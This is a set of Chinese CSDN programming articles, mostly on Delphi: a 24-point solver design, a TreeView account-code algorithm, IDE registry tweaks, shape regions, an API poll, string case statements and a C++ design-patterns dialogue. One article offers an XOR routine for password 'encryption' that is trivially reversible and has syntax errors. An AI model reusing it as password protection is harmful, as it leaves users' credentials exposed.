    计算24点，可以抽象描述为：求代数系统<Real;+,-,*,/>的子系统<SInteger;+,-,*,/>的所有运算结果为24的运算。一般情况下<SInteger;+,-,*,/>有很多性质，如交换律,i+j=j+i,结合律，i+(j+k)=(i+j)+k等等，为了使我这个惰人写代码方便，我去掉所有规律（这样使运算量加几倍了，呵呵，相信可以用来烤机了），并加上一个一元运算符~，~I=I I属于SInteger,再加上一个似乎破坏了数学完美性的规则，SInteger中的元素在一个运算中只能用一次，如果不加这个"所有运算"将会是一个无限集.

    第三代语言不能直接操作集合，所以要作一下转化，想办法把作用在代数系统<{a,b,c};+,-,*,/>的所有运算（a+b*c,a-b*c,a+b/c,(a+b)*c........）用别的方法表示。

    下面我用O表示二元运算符，Oi表示第i个二元运算符。用[<{{a},{b,c}}；Oi>]表示{aO1b,aO2b,aO3b,aO1c,aO2c,aO3c....}，也就是返回作用在集合{a},{b,c}笛卡尔积上的运算结果。

    [<{a}；~>]表示{a},也就是返回作用在集合上的运算结果。记得上面我去掉了很多性质吗，所以可能a+b不等于b+a,因此我要把a+b+c与c+a+b都要计算一次，而不是推出来.下面是用[<，； >]描述"作用在代数系统<{a,b,c};+,-,*,/>的所有运算".

    [<[<{a};~>],[<[<{b};~>],[<{c};~>]；Oi>]；Oi>]

    [<[<{a};~>],[<[<{c};~>],[<{b};~>]；Oi>]；Oi>]

    [<[<{b};~>],[<[<{a};~>],[<{c};~>]；Oi>]；Oi>]

    [<[<{b};~>],[<[<{c};~>],[<{a};~>]；Oi>]；Oi>]

    .........

    [<[<{a};~>],[<[<{b};~>],[<{c};~>]；+,->]；+,->]=

    [<[<{a};~>],[<{b},{c}；+,->]；+,->]=

    [<[<{a};~>],{(b+c),(b-c)}；+,->]=

    [<{a},{(b+c),(b-c)}；+,->]=

    {a+(b+c),a+(b-c),a-(b+c),a-(b-c)}

    .......................

    是不是发现很多重复，可能我上面说的运算量加几倍了太保守了，最起码也是个代数级数式的增加.

    经过一轮对数学世界的破坏，终于使问题对计算机来说简化了。

    记得上一次上数学课都是两年前了，加上我经常逃课，不知上面的内容表达得是否正确。

    • 绘制类图

    上面很多地方提到集合，第三代语言操作集合的最有效方法当然是使用Itertor模式，所以先定义一个TIterator基类，以后的集合都是它的子类。

    观察[<，； >]，它由三部分组成(一元运算只有二部分)，逗号左边，逗号右边，分号右边，其中逗号左右都是一个[<，； >]，分号右边是运算符，现在把[<，； >]转化为一个类TNode.分号右边是一系列运算符，因此使用TOperatorIterator表示。

    我是用[<，； >]描述"作用在代数系统<{a,b,c};+,-,*,/>的所有运算".观察上面，“代数系统<{a,b,c};+,-,*,/>的所有运算”是由多个[<，； >]的并集表示,因此又需要一个TIterator,命名为TTreeIterator.下面就是用ModelMaker 6.2绘制的类图

    其中的TTreeBuilder是用来构建TNode的，如创建一个：[<[<{a};~>],[<[<{b};~>],[<{c};~>]；Oi>]；Oi>]

    IClientInterface是一个最小化的界面，大部分二次开发的人员都不会想与复杂的内部结构打交道。

    • 绘制顺序图

    做到这里时我就想描述内部的工作流，活动图是一种不错的方法，考虑到RUP的开发方式(主要是我只会一点点UML)，所以决定还是先画个顺序图，可是画完顺序图后，代码就写出来了，可能这个问题过于简单，有机会我想找个复杂的问题。顺序图中我用了一些不太标准的表示方法，用来描述函数的返回。

    （为了整体布局，我把图缩小了，有点失真，请用看图工具打开这张图)

    这是一个取[<，； >]中所有计算结果的顺序图。Actor首先通知TNode重新开始(Resume),跟着取第一个运算的运算结果（Eventuate，{a+(b+c),a+(b-c),a-(b+c),a-(b-c)}中的a+(b+c) )，再用Evaluate评估是否还有运算式（当还有运算符时，代表还有运算式,当然首先要检查逗号两边的[<，； >]，如果它们有表达式，哪一定就是有表达式存在，没必要看当前是否还有运算符），如果有评估为真，哪继续用Eventuate取结果。“继续”写起来容易，但画就难了，我在ModelMaker中找不到相应循环符号,所以用了一条竖线表示范围，用文本表示退出条件。

    下面是我对着这个图写出来的怪怪代码:

    function TNode.Evaluate: Boolean;
    var
    LeftBool, RightBool: Boolean;
    begin
    Result:=false;
    if (FLeftChild=nil) And (FRightChild=nil) then
    begin
    Result:=not FOperatorIterator.IsDone;
    if Result then
    FOperatorIterator.Next;
    Exit;
    end;

    LeftBool:=FLeftChild.Evaluate;
    if LeftBool then
    begin
    Result:=true;
    Exit;
    end;

    RightBool:=FRightChild.Evaluate;
    if Rightbool then
    begin
    FLeftChild.Resume;
    Result:=true;
    Exit;
    end;

    if not FOperatorIterator.IsDone then
    begin
    FOperatorIterator.Next;
    FLeftChild.Resume;
    FRightChild.Resume;
    Result:=true;
    Exit;
    end;

    end;

    是不是感觉怪怪的。

    (FLeftChild=nil) And (FRightChild=nil)这句检测这是否一个只有一元运算符的[<； >]。

    看到这里，大家应该明白它们之间的对应关系了吧

    "作用在代数系统<{a,b,c};+,-,*,/>的所有运算(别忘了加上一个破坏规则，)"是一个很大的集合，

    分成多个子集，分别为

    +,-,*,/作用有元组(a,b,c)上

    +,-,*,/作用有元组(a,c,b)上

    +,-,*,/作用有元组(b,a,c)上

    .............

    再从这些子集中把每个元素提取出来。

    +,-,*,/作用有元组(a,b,c)上用TNode表示,哪全集用TTreeIterator表示，下面就是与它相关的顺序图

    function TClientInterface.GetAnswer(aNumArr:IntArray): TStringList;
    var
    FResult:TStringList;
    TI: TTreeIterator;
    ND: TNode;
    Num:Double;
    function GetResult:TStringList;
    begin
    if not Assigned(FResult) then
    FResult:=TStringList.Create;
    Result:=FResult;
    end;
    begin
    { TODO -cMM : Interface wizard: Implement interface method }
    FResult:=nil;
    TI:=TTreeIterator.Create(aNumArr);
    TI.First;
    while true do
    begin
    ND:=TI.CurrentItem;
    ND.Resume;
    repeat
    try
    Num:=ND.Eventuate;
    if TCheck.Check(Num) then
    GetResult.Add(ND.Print+'='+FloatToStr(Num));
    except
    //捕捉零除异常
    end;
    until (not ND.Evaluate);
    if TI.IsDone then Break;
    TI.Next ;
    end;
    Result:=FResult;
    end;

    Actor从TTreeIterator中取一个子集，再取子集的所有元素，取完元素后，再取一个子集一直循环下去。

    可能大家看完一本UML书后，也找不到几个资源释放的字样，这应该是技术发展的走势，就像今天没人会考虑640的限制，所以我在代码里也没写这部分，我希望学习的是未来的技术。

    • 使用ModelMaker的一些经验
    1. 更改了源代码后一定要按 [image] 以保持与Model的同步，如果忘记了可能会见到这个对话框

    这时最好按NO，如是按了YES，可能你在Delphi中辛苦写的代码就被删了。如果觉得经常用Refresh in Model很烦，可以在下面这里保持同步

    2.这应该是一个BUG

    ModelMaker中的组合与聚合关系竟然是一样的线，要注意一下，别理解错误了.

    3.又是一个BUG

    ModelMaker中的Singleton模式竟然产生错误代码,我本来想在TMonitor使用这个模式。

    class function TForm1.AccessInstance(Request: Integer): TForm1;

    const FInstance: TForm1 = nil;

    begin
    case Request of
    0 : ;
    1 : if not Assigned(FInstance) then FInstance := CreateInstance;
    2 : FInstance := nil;
    else
    raise Exception.CreateFmt('Illegal request %d in AccessInstance',
    [Request]);
    end;
    Result := FInstance;
    end;

    ModelMaker带的设计模式不多，也是一大缺陷。Pascal语言似乎没意增加<Template>，操作符重载这两个有用的特性，哪设计模式的使用量相信将会增加，ModelMake应该增强这一点。

    文章很多地方带有个人观点，有些描述也不知是否标准化，作者也找不到标准化的例子，希望大家只须了解作者的思想，不必要管哪些表示方法。

    源码下载


CSDN_文档中心_用树型结构表示科目代码的一种高效算法

用树型结构表示科目代码的一种高效算法
松本电工实业有限公司电脑部
舒嵩嵩
---- 在很多常见的财务软件中，科目代码一般都用树型结构来显示。要实现这一点，通常的做法是用多个（嵌套）循环，甚至递归等算法，将科目表中的代码"织"成树，但这样不但算法复杂，而且执行效率低。本人在实际的开发应用中，摸索出一种简单高效的算法，在此和盆托出，只在抛砖引玉，找出最佳解决方案。下面介绍在Delphi中的实现方法。

一．表结构
---- 首先建立如下结构的数据表Code.DB，并输入一些测试数据：
字段名 类型 长度 说明
aCode 字符型 20 科目代码
aName 字符型 30 科目代码名称
...... ...... ...... ......
表（一）

---- 其中，科目代码aCode的数据类型一定要字符型（一定），长度按具体要求而定，假如要支持六级编码，且代码结构是"3-2-2-2-2-2"，则该字段的长度不小于18，而其他字段则不作要求 。另外，要为字段aCode建一索引（切记），因为要用它来排序。
二．编写程序
---- 1．新建一Project：CodeTree.drp，主窗体命名为frmMain，单元存为Main.Pas。在frmMain上添加一TtreeView控件，命名为tveCode，一个TImageList，命名为imgIcon，并装入三个Icon和Bmp，最后添加一Ttable控件，命名tblCode。
frmMain和各控件的属性按表(二)设置：
组件 属性 设置
FrmMain Caption '科目代码'
Font 宋体 9号
BorderStyle BsDialog
TvwCode Images ImgIcon
ReadOnly True
ImgIcon ImageList 装入三个图标
BtnClose Caption 关闭(C)
表（二）

---- 2. 单元main.pas的完整源代码如下：
unit Main;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics,
Controls, Forms, Dialogs,
Db, DBTables, ComCtrls, ImgList, StdCtrls;

type
TForm1 = class(TForm)
tvwCode: TTreeView;
tblCode: TTable;
ImageList1: TImageList;
btnClose: TButton;
procedure FormCreate(Sender: TObject);
procedure btnCloseClick(Sender: TObject);
private
{ Private declarations }
function LoadCode(crTbl:TDBDataSet):Integer;
function GetLevel(sFormat,sCode:String):Integer;
public
{ Public declarations }
end;

var
Form1: TForm1;

const
SCodeFormat = '322222'; //科目代码结构
SFirstNodeTxt = '科目代码'; //首节点显示的文字

implementation

{$R *.DFM}
//以下函数是本文的重点部分，
其主要功能是用一循环将Code.db表中的
//科目代码和科目代码名称显示出来
function TForm1.LoadCode(crTbl:TDBDataSet):Integer;
var NowID,sName,ShowTxt:String;
i,Level:Integer;
MyNode:array[0..6]of TTreeNode;
//保存各级节点，最长支持6级(重点)
begin
Screen.Cursor:=crHourGlass;
Level:=0;
With crTbl do
begin
try
if not Active then Open;
First;
tvwCode.Items.Clear;
//以下是增加第一项
MyNode[Level]:=tvwCode.Items.Add
(tvwCode.TopItem,SFirstNodeTxt);
MyNode[Level].ImageIndex:=0;
MyNode[Level].SelectedIndex:=0;
//以上是增加第一项
While Not Eof do
begin
NowID:=Trim(FieldByName('aCode').AsString);
ShowTxt:=NowID+' '+FieldByName('aName').AsString;
Level:=GetLevel(SCodeFormat,NowID);
//返回代码的级数
//以下是增加子项
//以下用上一级节点为父节点添加子节点
if Level>0 then//确保代码符合标准
begin
MyNode[Level]:=tvwCode.Items.AddChild
(MyNode[Level-1],ShowTxt);
MyNode[Level].ImageIndex:=1;
MyNode[Level].SelectedIndex:=2;
end;
//以上是增加子项
Next;
end;
finally
Close;
end;
end;
MyNode[0].Expand(False);//将首节点展开
Screen.Cursor:=crDefault;
end;
//以上函数将Code.db表中的科目代码和科目代码名称显示出来

//下面函数的功能是返回一代码的级数，
参数sFormat传递科目代码结构；
//参数sCode传递某一科目代码
function TForm1.GetLevel
(sFormat,sCode:String):Integer;
var i,Level,iLen:Integer;
begin
Level:=-1;//如果代码不符合标准，则返回-1
iLen:=0;
if (sFormat< >'')and(sCode< >'')then
for i:=1 to Length(sFormat) do
begin
iLen:=iLen+StrToInt(sFormat[i]);
if Length(sCode)=iLen then
begin
Level:=i;
Break;
end;
end;
Result:=Level;
end;
//上面函数的功能是返回一代码的级数

procedure TForm1.FormCreate(Sender: TObject);
begin
with tblCode do
begin
DatabaseName:=ParamStr(1);
//使tblCode的DatabaseName指向应用程序所在的路径
TableName:='Code.DB'; //指向数据表Code.DB
Open;
IndexFieldNames:='aCode';
//按字段aCode排序(不要漏掉)
end;
LoadCode(tblCode);
end;

procedure TForm1.btnCloseClick(Sender: TObject);
begin
Close;
end;

end.

---- 其中，常量ScodeFormat是科目代码的代码结构，其定义的规则一定要和数据表Code..DB中的字段aCode的值相符。所以在实际应用中，让用户新增科目代码时，必须严格检查其规范性，只有完全符合事先定义的代码结构，才能添加入库。
---- 函数GetLevel是求某一科目代码的级数，例如，有一科目代码"10102"，在代码结构是"322222"的情况下，调用函数GetLevel('322222','10102')将返回整数2 。

---- 当然，本文的核心是LoadCode函数，该函数用了一个循环来遍历数据表Code.DB的所有记录，将字段aCode和aName的内容按层次显示出来。而在该函数中定义的二维数组MyNode[0..6]，则显得优为重要，在这里，它作用类似于递归中的栈。因为在TTreeView添加子节点的方法AddChild(Node: TTreeNode; const S: string)中，要为其指定一父节点作为参数，而父节点的代码级数一定是要添加节点的代码级数减1，所以只要用一数组来动态保存和指定父节点就成功了。

三．运行结果
---- 好了，现在把Code.DB复制到和可执行文件相同的目录下，按下F9键编译运行，本人运行的效果如图（一）。只要在以上的基础上加以完善，如增加维护功能，就可搬到实际应用中了。当然，本算法不单能用在科目代码上，其他类似的树型结构都能奏效。本人就已将此算法应用于[科目代码]、[物料清单（BOM）]、[库房管理]和[物料主文件]等多个模块中，取得令人满意的效果。
---- 以上程序在中文Windows 9x、Delphi 4 C/S环境下编译通过。


CSDN_文档中心_优化delphi5.0秘籍大曝光

优化delphi5.0秘籍大曝光
本文转帖至天极网程序方舟http://itdreamer.yesky.com/
Delphi5.0是非常优秀的RAD开发工具，越来越多的人开始认识到这一点并转而使用它，但它也不是完美无缺的，实际上通过手工优化可以极大的提高它为我们工作的效率，我通过实践摸索出一些经验，借电脑报一角与大家分享：
一：实现控件面板的平滑滚动：
安装过许多控件的朋友都知道，在众多的控件中选择一个实在不是一件轻松的事，鼠标要不停点击，如果能平滑滚动该多好啊，好在Borland的专家早就想到了这一点：
建立一个文本文件，内容为：
REGEDIT4
[HKEY_CURRENT_USER\Software\Borland\Delphi\5.0\Extras]>
"AutoPaletteSelect"="1"
"AutoPaletteScroll"="1"
保存为tip.reg,然后双击此文件，启动delphi，怎么样？是不是爽多了！
二：加快程序启动速度：
delphi启动确实有点慢，既要显示快闪屏幕，又要读注册表设置，对于配置低的机器简直是一种折磨，实际上我们完全可以通过启动参数来控制它：
建立一个快捷方式，目标为：D:\DELPHI5\Delphi5\Bin\delphi32.exe /ns /np
（我的delphi装在d:\delphi5目录下，你要做相应改变。）
ns:no splash 不显示快闪屏幕
np:no project不加载项目
三.观察内存堆分配情况：
同上，快捷方式目标为：D:\DELPHI5\Delphi5\Bin\delphi32.exe /hm /hv
此后每启动此快捷方式就可看到delphi标题栏上不停变化的堆分配字节数
四.在右键快捷菜单中增加编译及查看功能：
先为dpr文件增加功能：
建立一个文本文件，内容为：
REGEDIT4
[HKEY_CLASSES_ROOT\DelphiProject]
@="Delphi Project"
"EditFlags"=hex:00,00,00,00
"AlwaysShowExt"=""
[HKEY_CLASSES_ROOT\DelphiProject\DefaultIcon]
@="d:\\DELPHI5\\Delphi5\\Bin\\Delphi32.exe, 4"
[HKEY_CLASSES_ROOT\DelphiProject\Shell]
@=""
[HKEY_CLASSES_ROOT\DelphiProject\Shell\Open]
@="&Open"
"EditFlags"=hex:01,00,00,00
[HKEY_CLASSES_ROOT\DelphiProject\Shell\Open\command]
@="d:\\DELPHI5\\Delphi5\\Bin\\Delphi32.exe /ns %1"
[HKEY_CLASSES_ROOT\DelphiProject\Shell\Open\ddeexec]
@="[open(\"%1\")]"
[HKEY_CLASSES_ROOT\DelphiProject\Shell\Open\ddeexec\Application]
@="DELPHI32"
[HKEY_CLASSES_ROOT\DelphiProject\Shell\autobuild]
"EditFlags"=hex:01,00,00,00
[HKEY_CLASSES_ROOT\DelphiProject\Shell\autobuild\command]
@="D:\\DELPHI5\\Delphi5\\Bin\\delphi32.exe /ns %1 /b"
[HKEY_CLASSES_ROOT\DelphiProject\QuickView]
@="*"
存为Delphiproject.reg,然后双击此文件，以后你就可以在以dpr为后缀的项目文件的右键快捷菜单中发现多了autobuild一项,可以马上编译生成可执行文件了，还多了快速查看一项，可以不打开Delphi而察看文件内容。
再为pas文件增加功能：
建立一个文本文件，内容为：
REGEDIT4
[HKEY_CLASSES_ROOT\DelphiUnit]
@="Delphi Source File"
"EditFlags"=hex:00,00,00,00
"AlwaysShowExt"=""
[HKEY_CLASSES_ROOT\DelphiUnit\DefaultIcon]
@="d:\\DELPHI5\\Delphi5\\Bin\\Delphi32.exe,5"
[HKEY_CLASSES_ROOT\DelphiUnit\Shell]
@=""
[HKEY_CLASSES_ROOT\DelphiUnit\Shell\Open]
@="&Open"
[HKEY_CLASSES_ROOT\DelphiUnit\Shell\Open\command]
@="d:\\DELPHI5\\Delphi5\\Bin\\Delphi32.exe /ns /np"
[HKEY_CLASSES_ROOT\DelphiUnit\Shell\Open\ddeexec]
@="[open(\"%1\")]"
[HKEY_CLASSES_ROOT\DelphiUnit\Shell\Open\ddeexec\Application]
@="DELPHI32"
[HKEY_CLASSES_ROOT\DelphiUnit\Shell\compile]
"EditFlags"=hex:01,00,00,00
[HKEY_CLASSES_ROOT\DelphiUnit\Shell\compile\command]
@="D:\\DELPHI5\\Delphi5\\Bin\\dcc32.exe %1"
[HKEY_CLASSES_ROOT\DelphiUnit\QuickView]
@="*"
存为delphiunit.reg, 然后双击此文件，以后你就可以在以pas为后缀的源码文件的右键快捷菜单中发现多了compile一项,可以马上编译生成dcu文件了，还多了快速查看一项，可以不打开Delphi而察看文件内容。
要注意你的delphi安装路径要做相应更改，对注册表不熟悉的朋友一定要谨慎做好备份。
如有任何意见及建议欢迎到bbs.netease.com中的delphi论坛我们共同讨论。


CSDN_文档中心_由shape控件得到Rgn(2000/11/21 三金 版权所有

由shape控件得到Rgn(2000/11/21 三金 版权所有

如有问题,请参考VCL库shape组件源代码
function GetShapeRgn(shape:TShape):HRgn;
var
X, Y, W, H, S: Integer;
ret:HRgn;
begin
result:=0;
X :=shape.left+shape.Pen.Width div 2;
Y :=shape.top+shape.Pen.Width div 2 ;
W :=shape.Width- shape.Pen.Width + 1;
H :=shape.Height-shape.Pen.Width + 1;
if shape.Pen.Width = 0 then
begin
Dec(W);
Dec(H);
end;
if W < H then S := W else S := H;
if shape.Shape in [stSquare, stRoundSquare, stCircle] then
begin
Inc(X, (W - S) div 2); //得到新的X值
Inc(Y, (H - S) div 2); //得到新的Y值
W := S;
H := S;
end;
case shape.Shape of
stRectangle, stSquare:
begin
ret:=CreateRectRgn(X, Y, X + W, Y + H);
if ret=null then
result:=0
else
result:=ret;
end;
stRoundRect, stRoundSquare:
begin
ret:=CreateRoundRectRgn(X, Y, X + W, Y + H, S div 4, S div 4);
if ret=null then
result:=0
else
result:=ret;
end;
stCircle, stEllipse:
begin
ret:=CreateEllipticRgn(X, Y, X + W, Y + H);
if ret=null then
result:=0
else
result:=ret;
end;
end;
end;

更好更多文章尽在三金主页-天铭心草堂
http://vip.6to23.com/tianmingxin


CSDN_文档中心_游戏开发者社区对底层API的投票

世界最大的游戏开发者社区对底层API的投票

其中，DirectX、SDL、Allegro是全功能（图像，声音，网络，输入）的开发包，OpenGL是图像开发包；DirectX是Windows平台的，其他都是跨平台的。因为此社区有很多主流游戏公司的开发者参与，所以其统计数据比较有参考价值。

What API are you currently learning/using?
DirectX | 977
OpenGL | 959
SDL | 167
Allegro | 330
Other | 45

Poll Results
DirectX
39.43%
OpenGL
38.70%
SDL
6.74%
Allegro
13.32%
Other
1.82%


CSDN_文档中心_有关字符的加密与解密

本人在日常的MIS的开发中常用到的些口令处理中常用的个字符处理过程

现在帖在这里请大家多提意见！

function CryptStr(const S:String; sType: DWord):String;
var
i: Integer;
FKey: Integer;
begin
result:='';
case sType of
0: SetPass;
begin
Randomize;
FKey := Random($FF);
for i:=1 to Length(s) do
Result := Result+Chr( Ord(s[i]) xor i xor FKey);
Result := Result + Char(FKey);
end;
1: GetPass
Begin
FKey := Ord(S[Length(s)]);
for i:=1 to Length(s) - 1 do
Result := Result+Chr( Ord(s[i]) xor i xor FKey);

end;
end;


CSDN_文档中心_於Delphi的Case述句中使用字串當作判別變數

於Delphi的Case述句中使用字串當作判別變數

陳佳新╱jarsing@cina.chu.edu.tw

●　前言

提到Case述句（statement），我們首先會聯想到的應用案例莫過於就是透過一個判別變數，讓程式流程依照不同的條件狀況來選擇符合的路徑繼續執行下去。或者是，當我們的程式中出現了一連串的if與 else if述句組合時，我們也經常都會想到要利用Case述句來簡化程式碼並藉以提升其可讀性與執行效率。

但是在某些情況下，Case述句並無法應用於我們的程式當中，因為其所允許接受的判別變數僅限於任何形式的運算式（expression）與序數型別（ordinal type），這所謂的「序數型別」指的就是整數、字元、列舉、布林和集合等「有次序」的，而且可以應用於諸如Ord()、Pred()、Succ()、Low()與High()等函示的型別（請參閱[1]）。

不幸的是，字串（string）顯然並非序數型別的一種，而在某些時候（底下馬上會舉例），當條件變數的型別是字串而且條件分支又相當多時，儘管無奈，然而除了使用大量的if與else if述句之外，似乎也別無他法了，唉。

例如下面的程式碼在Delphi中便不被允許：

     #001 var

     #002      Str: String;  // 宣告String型別的判別變數

     #003     begin

     #004      case Str of  // 錯誤訊息: Ordinal type required

     #005          // ...

     #006      end;

     #007 end;

這根本就無法通過編譯嘛，因此傳統的解決方案通常是將之轉換為大量的if與else if述句的組合體。此時真希望我們用的是Visual Basic，因為下面的程式碼是可被其編譯器允許的（請參閱[5]）：

     #001 Dim Str As String     ' 宣告String型別的判別變數

     #002     Select Case Str ' 等同於Delphi的Case述句

     #003      '...

     #004 End Select        ' OK, 通過編譯

於是在本文中，筆者試圖以此問題為出發點，在「除了轉換為if與else if述句組合的傳統解決方案之外」找尋其他可行的因應之道，並由衷地希望本文對於面臨此問題而亟欲尋求解決方法的人（看了[12]-[14]之後，筆者更發現確實如此）能夠有所幫助。

先預告一下好了，筆者打算介紹7種解決方案，其中前5種方法乃是節錄或延伸自[9]-[13]的內容，而第6種則是筆者實作的綜合性多載化（overloading）版本。這些方案分別是：

v 方案一：搜尋字串陣列

v 方案二：使用實數索引

v 方案三：利用雜湊函數

v 方案四：巢套case述句

v 方案五：使用TStringList

v 方案六：實作多載函示

v 方案七：應用現成函示

本文將從複習條件述句（內容主要參考[1]與[4]）與認識字串（內容主要參考[2]）等主題開始，熟悉Delphi者可略過此部分，直接閱讀〈效能議題〉小節直到文末為止。


CSDN_文档中心_与大虾对话: 领悟设计模式

与大虾对话: 领悟设计模式

--Template Method / Visitor

[译者按] 本文根据发表在CUJ Expert Forum上的两篇文章编译而成。C/C++ User's Journal是目前最出色的C/C++语言专业杂志，特别是在C++ Report闭刊之后，CUJ的地位更加突出。CUJ Expert Forum是CUJ主办的网上技术专栏，汇集2000年10月以来C++社群中顶尖专家的技术短文，并免费公开发布，精彩纷呈，是每一个C/C++学习者不可错过的资料。由Jim Hyslop和Herb Sutter主持的Conversation系列，是CUJ Expert Forum每期必备的精品专栏，以风趣幽默的对话形式讲解C++高级技术，在C++社群内得到广泛赞誉。译者特别挑选两篇设计模式方面的文章，介绍给大家。设计模式方面的经典著作是GoF的Design Patterns。但是那本书有一个缺点，不好懂。从风格上讲，该书与其说是为学习者而写作的教程范本，还不如说是给学术界人士看的学术报告，严谨有余，生动不足。这一点包括该书作者和象Bjarne Stroustrup这样的大师都从不讳言。实际上Design Pattern并非一定是晦涩难懂的，通过生动的例子，一个中等水平的C++学习者完全可以掌握基本用法，在自己的编程实践中使用，得到立竿见影的功效。这两篇文章就是很好的例证。本文翻译在保证技术完整性的前提下作了不少删节和修改，以便使文章显得更紧凑。

----------------------------------------------------------

人物介绍：

我 --- 一个追求上进的C++程序员，尚在试用期，聪明但是经验不足。

Wendy --- 公司里的技术大拿，就坐在我旁边的隔间里，C++大虾，最了不起的是，她是个女的！她什么都好，就是有点刻薄，

我对她真是又崇拜又嫉妒。

----------------------------------------------------------

I. Virtually Yours -- Template Method模式

我在研究Wendy写的一个类。那是她为这个项目写的一个抽象基类，而我的工作就是从中派生出一个具象类(concrete class)。这个类的public部分是这样的：

class Mountie {
public:
void read( std::istream & );
void write( std::ostream & ) const;
virtual ~Mountie();
很正常，virtual destructor表明这个类打算被继承。那么再看看其protected部分：

protected:
virtual void do_read( std::istream & );
virtual void do_write( std::ostream & ) const;

也不过就是一会儿的功夫，我识破了Wendy的把戏：她在使用template method模式。public成员函数read和write是非虚拟的，它们肯定是调用protected部分do_read/do_write虚拟成员函数来完成实际的工作。啊，我简直为自己的进步而飘飘然了！哈，Wendy，这回你可难不住我，还有什么招数？尽管放马过来... 突然，笑容在我脸上凝固，因为我看到了其private部分：

private:
virtual std::string classID() const = 0;

这是什么？一个private纯序函数，能工作么？我站了起来，

“Wendy，你的Mountie类好像不能工作耶，它有一个private virtual function。”

“你试过了？”她连头都不抬。

“嗯，那倒是没有啦，可是想想也不行啊？我的派生类怎么能override你的private函数呢？” 我嘟囔着。

“嗬，你倒是很确定啊！”Wendy的声音很轻柔，“你怎么老是这也不行，那也不行的，这几个月跟着我你就没学到什么东西吗？小菜鸟。”

真是可恶啊...

“小菜鸟，你全都忘了，访问控制级别跟一个函数是不是虚拟的根本没关系。判断一个函数是动态绑定还是静态绑定是函数调用解析的最后一个步骤。好好读读标准的3.4和5.2.2节吧。”

我完全处于下风，只好采取干扰战术。“好吧，就算你说的不错，我也还是不明白，何必把它设为private？”

“我且问你，倘若你不想让一个类中的成员函数被其他的类调用，应当如何处理？”

“当然是把它设置为private的，” 我回答道。

“那么你去看看我的Mountie类实现，特别是write()函数的实现。”

我正巴不得逃开Wendy那刺人的目光，便转过头去在我的屏幕上搜索，很快，我找到了：

void Mountie::write(std::ostream &Dudley) const
{
Dudley << classID() << std::endl;
do_write(Dudley);
}
嗨，最近卡通片真是看得太多了，居然犯这样的低级失误。还是老是承认吧：“好了，我明白了。classID()是一个实现细节，用来在保存对象时指示具象类的类型，派生类必须覆盖它，所以必须是纯虚的。但是既然是实现细节，就应该设为private的。”

“这还差不多，小菜鸟。”大虾点了点头，“现在给我解释一下为什么do_read()和do_write()是protected的？”

这个问题并不难，我组织了一下就回答：“因为派生类对象需要调用这两个函数的实现来读写其中的基类对象。”

“很好很好，”大虾差不多满意了，“不过，你再解释解释为什么我不把它们设为public的？”

现在我感觉好多了：“因为调用它们的时候必须以一种特定的方式进行。比如do_write()函数，必须先把类型信息写入，再把对象信息写入，这样读取的时候，负责生成对象的模块首先能够知道要读出来的对象是什么类型的，然后才能正确地从流中读取对象信息。”

“聪明啊，我的小菜鸟！”Wendy停顿了一下，“就跟学习外国口语一样，学习C++也不光是掌握语法而已，还必须要掌握大量的惯用法。”

“是啊是啊，我正打算读Coplien的书...”

[译者注：就是James Coplien 1992年的经典著作Advanced C++ Programming Style and Idioms]

大虾挥了挥她的手，“冷静，小菜鸟，我不是指先知Coplien的那本书，我是指某种结构背后隐含的惯用法。比如一个类有virtual destructor，相当于告诉你说：‘嗨，我是一个多态基类，来继承我吧！’ 而如果一个类的destructor不是虚拟的，则相当于是在说：‘我不能作为多态基类，看在老天的份上，别继承我。’”

“同样的，virtual函数的访问控制级别也具有隐含的意义。一个protected virtual function告诉你：‘你写的派生类应该，哦，可是说是必须调用我的实现。’而一个private virtual function是在说：‘派生类可以覆盖，也可以不覆盖我，随你的便。但是你不可以调用我的实现。’”

我点点头，告诉她我懂了，然后追问道：“那么public virtual function呢？”

“尽可能不要使用public virtual function。”她拿起一支笔写下了以下代码：

class HardToExtend
{
public:
virtual void f();
};
void HardToExtend::f()
{
// Perform a specific action
}
“假设你发布了这个类。在写第二版时，需求有所变化，你必须改用Template Method。可是这根本不可能，你知道为什么？”

“呃，这个...，不知道。”

“由两种可能的办法。其一，将f()的实现代码转移到一个新的函数中，然后将f()本身设为non-virtual的：

class HardToExtend
{
// possibly protected
virtual void do_f();
public:
void f();
};
void HardToExtend::f()
{
// pre-processing
do_f();
// post-processing
}
void HardToExtend::do_f()
{
// Perform a specific action
}

然而你原来写的派生类都是企图override函数f()而不是do_f()的，你必须改变所有的派生类实现，只要你错过了一个类，你的类层次就会染上先知Meyers所说的‘精神分裂的行径’。” [译者注：参见Scott Meyers，Effective C++, Item 37，绝对不要重新定义继承而来的非虚拟函数]

“另一种办法是将f()移到private区域，引入一个新的non-virtual函数：”

class HardToExtend
{
// possibly protected
virtual void f();
public:
void call_f();
};
“这会导致无数令人头痛的问题。首先，所有的客户都企图调用f()而不是call_f()，现在它们的代码都不能编译了。更有甚者，大部分派生类都回把f()放在public区域中，这样直接使用派生类的用户可以访问到你本来想保护的细节。”

“对待虚函数要象对待数据成员一样，把它们设为private的，直到设计上要求使用更宽松的访问控制再来调整。要知道由private入public易，由public入private难啊！”

[译者注：这篇文章所表达的思想具有一定的颠覆性，因为我们太容易在基类中设置public virtual function了，Java中甚至专门为这种做法建立了interface机制，现在竟然说这不好！一时间真是接受不了。但是仔细体会作者的意思，他并不是一般地反对public virtual function，只是在template method大背景下给出上述原则。虽然这个原则在一般的设计中也是值得考虑的，但是主要的应用领域还是在template method模式中。当然，template method是一种非常有用和常用的模式，因此也决定了本文提出的原则具有广泛的意义。]

----------------------------------------------------------------

II. Visitor模式

我正在为一个设计问题苦恼。试用期快结束了，我希望自己解决这个问题，来证明自己的进步。每个人都记得自己的第一份工作吧，也都应该知道在这个时候把活儿做好是多么的重要！我亲眼看到其他的新雇员没有过完试用期就被炒了鱿鱼，就是因为他们不懂得如何对付那个大虾...，别误会，我不是说她不好，她是我见过最棒的程序员，可就是有点刻薄古怪...。现在我拜她为师，不为别的，就是因为我十分希望能达到她那个高度。

我想在一个类层次(class hierarchy)中增加一个新的虚函数，但是这个类层次是由另外一帮人维护的，其他人碰都不能碰：

class Personnel
{
public:
virtual void Pay ( /*...*/ ) = 0;
virtual void Promote( /*...*/ ) = 0;
virtual void Accept ( PersonnelV& ) = 0;
// ... other functions ...
};

class Officer : public Personnel { /* override virtuals */ };
class Captain : public Officer { /* override virtuals */ };
class First : public Officer { /* override virtuals */ };
我想要一个函数，如果对象是船长(Captain)就这么做，如果是大副(First Officer)就那么做。Virtual function正是解决之道，在Personnel或者Officer中声明它，而在Captain和First覆盖(override)它。

